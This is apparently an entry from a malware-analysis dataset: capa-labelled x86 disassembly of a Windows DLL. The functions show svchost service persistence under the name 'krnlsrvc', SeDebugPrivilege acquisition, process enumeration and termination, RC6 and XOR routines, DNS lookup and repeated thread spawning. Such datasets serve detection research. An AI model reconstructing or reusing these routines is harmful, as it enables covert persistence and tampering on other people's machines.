joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001f50
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x10002024
mov eax, dword [esp + 0x2c]
push 0xf01ff
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x10002011
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x10001fd9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10001fd9
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call edi
push esi
call edi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x1c
ret
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0xc]
push ebx
push ecx
push esi
call edi
test eax, eax
je 0x10002009
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x14], 2
jne 0x10002009
push 0x64
call ebx
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
jne 0x10001ff2
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x1c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret

Function at 0x10002030
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 4], ebx
je 0x100020ee
mov eax, dword [esp + 0x28]
push esi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x100020dc
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
je 0x100020d4
cmp dword [esp + 0x14], 1
je 0x100020d4
lea edx, [esp + 0x10]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100020d4
cmp dword [esp + 0x14], 3
jne 0x100020d4
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call ebx
lea eax, [esp + 0x10]
push eax
push esi
call edi
cmp dword [esp + 0x14], 3
je 0x100020bd
mov ebx, dword [esp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, 1
pop ebx
add esp, 0x20
ret
xor eax, eax
pop ebx
add esp, 0x20
ret
Function at 0x10002100
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ac20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], esp
xor esi, esi
push ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
call fcn.10002030
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x128]
push ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x128]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x14]
lea edx, [ebp - 0x128]
push ecx
push 0xf003f
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, esi
je 0x10002192
lea eax, [ebp - 0x20]
push 0x1000de68
push eax
mov dword [ebp - 0x20], 0x1000f9a0
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push edx
push 2
push esi
push str.ServiceDll
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x100021ee
lea edx, [ebp - 0x18]
push 0x1000de68
push edx
mov dword [ebp - 0x18], str.RegSetValueEx_ServiceDll_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100021e8
cmp byte [eax], 0
je 0x100021e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 0x100021fb
ret
push ebx
call fcn.10001f50
add esp, 4
mov esi, eax
jmp 0x100021fe
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002220
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000ac30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], esp
push str._SystemRoot_System32_svchost.exe__k_krnlsrvc
push eax
xor esi, esi
push ecx
push ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call fcn.10002410
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x130]
push ebx
lea edx, [ebp - 0x130]
push str.SYSTEMCurrentControlSetServices_sParameters
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x130]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, esi
je 0x100022bf
lea edx, [ebp - 0x24]
push 0x1000de68
push edx
mov dword [ebp - 0x24], 0x1000f9a0
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp + 0x14]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [ebp - 0x14]
not ecx
push ecx
push edx
push 2
push esi
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x10002303
lea ecx, [ebp - 0x1c]
push 0x1000de68
push ecx
mov dword [ebp - 0x1c], str.RegSetValueEx_ServiceDll_
call sub.MSVCRT.dll__CxxThrowException
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x130]
lea edx, [ebp - 0x130]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x130]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10002378
lea eax, [ebp - 0x28]
push 0x1000de68
push eax
mov dword [ebp - 0x28], str.RegOpenKeyEx_Svchost_
call sub.MSVCRT.dll__CxxThrowException
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [ebp - 0x14]
push ebx
push 7
push eax
push str.krnlsrvc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
je 0x100023b9
lea edx, [ebp - 0x20]
push 0x1000de68
push edx
mov dword [ebp - 0x20], str.RegSetValueEx_Svchostkrnlsrvc_
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.10001f50
add esp, 4
mov esi, eax
jmp 0x100023eb
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002410
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000b268
push 0x10006d4e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
je 0x1000251b
push esi
push esi
push esi
push esi
push esi
mov eax, dword [ebp + 0x14]
push eax
push esi
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
jne 0x100024ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x100024ba
push 0xf01ff
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000251b
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
push str.SYSTEMCurrentControlSetServices_s
lea edx, [ebp - 0x12c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x12c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1000251b
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10002541
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100025c0
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x414
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [esp + 0x18]
xor edi, edi
push ecx
push str.SeDebugPrivilege
push edi
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 0x10]
push edi
push edi
lea edx, [esp + 0x1c]
push 0x10
push edx
push edi
push eax
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, edi
mov dword [esp + 0xc], esi
jne 0x1000263f
mov eax, dword [esp + 0x424]
mov dword [eax + 4], edi
pop edi
mov dword [eax], 0x25000004
pop esi
add esp, 0x414
ret
lea ecx, [esp + 0xd0]
mov dword [esp + 0xd0], 0x128
push ecx
push esi
mov dword [esp + 0x200], 0x224
mov dword [esp + 0x10], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10002751
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
push ebp
mov ebp, dword [esp + 0x428]
mov edx, dword [esp + 0xe0]
push edx
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x200]
push eax
push esi
call sub.KERNEL32.dll_Module32First
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xe0]
push ecx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
mov ecx, 0x2b
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xec]
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x34], eax
lea edx, [esp + 0xfc]
push 0x20
lea eax, [esp + 0x3c]
push edx
push eax
call ebx
lea ecx, [esp + 0x32c]
push 0x80
lea edx, [esp + 0x68]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x28]
mov ecx, 0x2b
lea esi, [esp + 0x44]
mov edi, ebp
add eax, 0xac
add esp, 0x18
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
lea eax, [esp + 0xd8]
add ebp, 0xac
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000267e
mov esi, dword [esp + 0x14]
pop ebp
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x424]
mov edx, dword [esp + 8]
pop edi
pop esi
mov dword [eax], 0
mov dword [eax + 4], edx
add esp, 0x414
ret

Function at 0x10002780
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x100027a9
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x100027c2
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
ret
Function at 0x10002820
Capabilities:
Encrypt data using rc6

Disassembly:
sub esp, 0x44
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
mov ecx, dword [esp + 0x54]
push esi
mov eax, ecx
mov esi, dword [esp + 0x54]
shr eax, 2
lea edx, [ecx + 3]
push edi
mov dword [esp + eax*4 + 0x14], ebx
mov eax, ecx
lea edi, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp + 8]
shr edx, 2
and ecx, 3
mov dword [esp + 0x10], edx
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + 4], 0xb7e15163
mov ecx, 0xf
mov esi, dword [eax - 4]
add eax, 4
sub esi, 0x61c88647
dec ecx
mov dword [eax - 4], esi
jne 0x10002867
cmp edx, 0x10
jae 0x10002883
mov edx, 0x10
lea ecx, [edx + edx*2]
xor edi, edi
xor edx, edx
xor eax, eax
cmp ecx, ebx
mov dword [esp + 0x5c], ebx
jbe 0x10002902
mov dword [esp + 0x58], ecx
mov ecx, dword [ebp + edi*4 + 4]
add ecx, edx
add ecx, eax
mov eax, ecx
shr eax, 0x1d
shl ecx, 3
or eax, ecx
mov ecx, dword [esp + 0x5c]
mov dword [ebp + edi*4 + 4], eax
mov ecx, dword [esp + ecx*4 + 0x14]
lea ebx, [edx + eax]
add ecx, edx
and ebx, 0x1f
lea esi, [ecx + eax]
mov ecx, 0x20
sub ecx, ebx
mov edx, esi
shr edx, cl
mov ecx, ebx
shl esi, cl
mov ecx, dword [esp + 0x5c]
or edx, esi
inc edi
cmp edi, 0x10
mov dword [esp + ecx*4 + 0x14], edx
jb 0x100028e2
xor edi, edi
mov esi, dword [esp + 0x10]
inc ecx
cmp ecx, esi
mov dword [esp + 0x5c], ecx
jb 0x100028f7
mov dword [esp + 0x5c], 0
mov ecx, dword [esp + 0x58]
dec ecx
mov dword [esp + 0x58], ecx
jne 0x10002898
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret 8

Function at 0x10002910
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov eax, dword [edx + 4]
mov edx, dword [edx]
push edi
mov dword [esp + 0x10], ecx
lea edi, [ecx + 0x3c]
mov ebx, 7
mov esi, dword [edi + 4]
mov ecx, 0x20
sub eax, esi
mov esi, edx
and esi, 0x1f
mov ebp, eax
sub ecx, esi
sub edi, 8
shl ebp, cl
mov ecx, esi
mov esi, dword [edi + 8]
shr eax, cl
mov ecx, 0x20
or ebp, eax
xor ebp, edx
sub edx, esi
mov eax, ebp
mov ebp, edx
mov esi, eax
and esi, 0x1f
sub ecx, esi
shl ebp, cl
mov ecx, esi
shr edx, cl
or ebp, edx
xor ebp, eax
dec ebx
mov edx, ebp
jne 0x1000292a
mov esi, dword [esp + 0x10]
pop edi
mov ecx, dword [esi + 8]
sub eax, ecx
mov ecx, dword [esp + 0x14]
mov dword [ecx + 4], eax
mov eax, dword [esi + 4]
sub edx, eax
pop esi
pop ebp
mov dword [ecx], edx
pop ebx
pop ecx
ret 8
Function at 0x10002990
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov edx, ecx
push ebx
mov ecx, dword [esp + 0x14]
push ebp
push esi
cmp ecx, 8
push edi
mov dword [esp + 0x10], edx
jae 0x100029d3
test ecx, ecx
jbe 0x10002a6e
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
add edx, 4
sub esi, eax
mov edi, ecx
mov cl, byte [esi + eax]
mov bl, byte [edx]
xor cl, bl
add edx, 4
mov byte [eax], cl
inc eax
dec edi
jne 0x100029bb
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
mov eax, ecx
and eax, 7
je 0x100029e5
add eax, 8
mov dword [esp + 0x20], eax
sub ecx, eax
jmp 0x100029f1
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
xor ebp, ebp
test ecx, ecx
jbe 0x10002a2a
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
lea esi, [ecx + 7]
sub ebx, edi
shr esi, 3
lea ebp, [esi*8]
jmp 0x10002a14
mov edx, dword [esp + 0x10]
lea eax, [edi + ebx]
mov ecx, edx
push eax
push edi
call fcn.10002910
add edi, 8
dec esi
jne 0x10002a10
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10002a6e
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
lea ebx, [ecx + ebp]
mov ecx, eax
lea esi, [edx + ebp]
mov edx, ecx
mov edi, ebx
add eax, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea eax, [eax + ecx - 8]
mov ecx, dword [esp + 0x10]
push eax
push eax
call fcn.10002910
mov ecx, dword [esp + 0x10]
push ebx
push ebx
call fcn.10002910
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10002b00
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10002b24
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10002b1d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x100049b0
Capabilities:
Create thread

Disassembly:
sub esp, 0x100
lea ecx, [esp]
push esi
mov esi, dword [esp + 0x10c]
push pe_nt_image_headers32
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push pe_nt_image_headers32
lea eax, [esp + 0x14]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 4]
push 0x10004a70
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
test eax, eax
mov dword [0x1000f9ac], eax
je 0x10004a5f
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10004b10
push 0
push 0
push 4
call fcn.10004b10
add esp, 0x18
push 0
push 0
push 0
push 0x10002d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [0x1000f9a8]
cmp eax, 3
je 0x10004a5f
cmp eax, 1
jne 0x10004a4c
pop esi
add esp, 0x100
ret 8
Function at 0x100051b0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x100051db
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005730
push 0
push 0
call ebx
dec edi
jne 0x100051c7
pop ebx
pop edi
pop esi
ret 4

Function at 0x100051e0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x1000520b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100058f0
push 0
push 0
call ebx
dec edi
jne 0x100051f7
pop ebx
pop edi
pop esi
ret 4

Function at 0x10005210
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x1000523b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100059e0
push 0
push 0
call ebx
dec edi
jne 0x10005227
pop ebx
pop edi
pop esi
ret 4

Function at 0x10005240
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x1000526b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005ad0
push 0
push 0
call ebx
dec edi
jne 0x10005257
pop ebx
pop edi
pop esi
ret 4

Function at 0x10005270
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x1000529b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005be0
push 0
push 0
call ebx
dec edi
jne 0x10005287
pop ebx
pop edi
pop esi
ret 4

Function at 0x100052a0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x100052cb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005cb0
push 0
push 0
call ebx
dec edi
jne 0x100052b7
pop ebx
pop edi
pop esi
ret 4

Function at 0x100052d0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
mov byte [esi + 4], 0
jle 0x100052fb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005da0
push 0
push 0
call ebx
dec edi
jne 0x100052e7
pop ebx
pop edi
pop esi
ret 4

Function at 0x10005300
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x1000532e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10005ed0
push 0
push 0
call ebx
dec edi
jne 0x1000531a
pop ebx
pop edi
pop esi
ret 4

Function at 0x10005340
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x1000536e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10006000
push 0
push 0
call ebx
dec edi
jne 0x1000535a
pop ebx
pop edi
pop esi
ret 4
Function at 0x10005380
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
lea edi, [eax + eax]
test edi, edi
mov byte [esi + 4], 0
jle 0x100053ae
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x10006230
push 0
push 0
call ebx
dec edi
jne 0x1000539a
pop ebx
pop edi
pop esi
ret 4

Function at 0x100053c0
Capabilities:
Create thread

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push esi
push edi
mov esi, ecx
lea edi, [edx + edx]
mov ecx, dword [esp + 0x14]
test edi, edi
mov byte [esi + 4], 0
mov dword [esi + 0xd4], eax
mov dword [esi + 0xd8], ecx
jle 0x10005402
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x100064a0
push 0
push 0
call ebx
dec edi
jne 0x100053ee
pop ebx
pop edi
pop esi
ret 0xc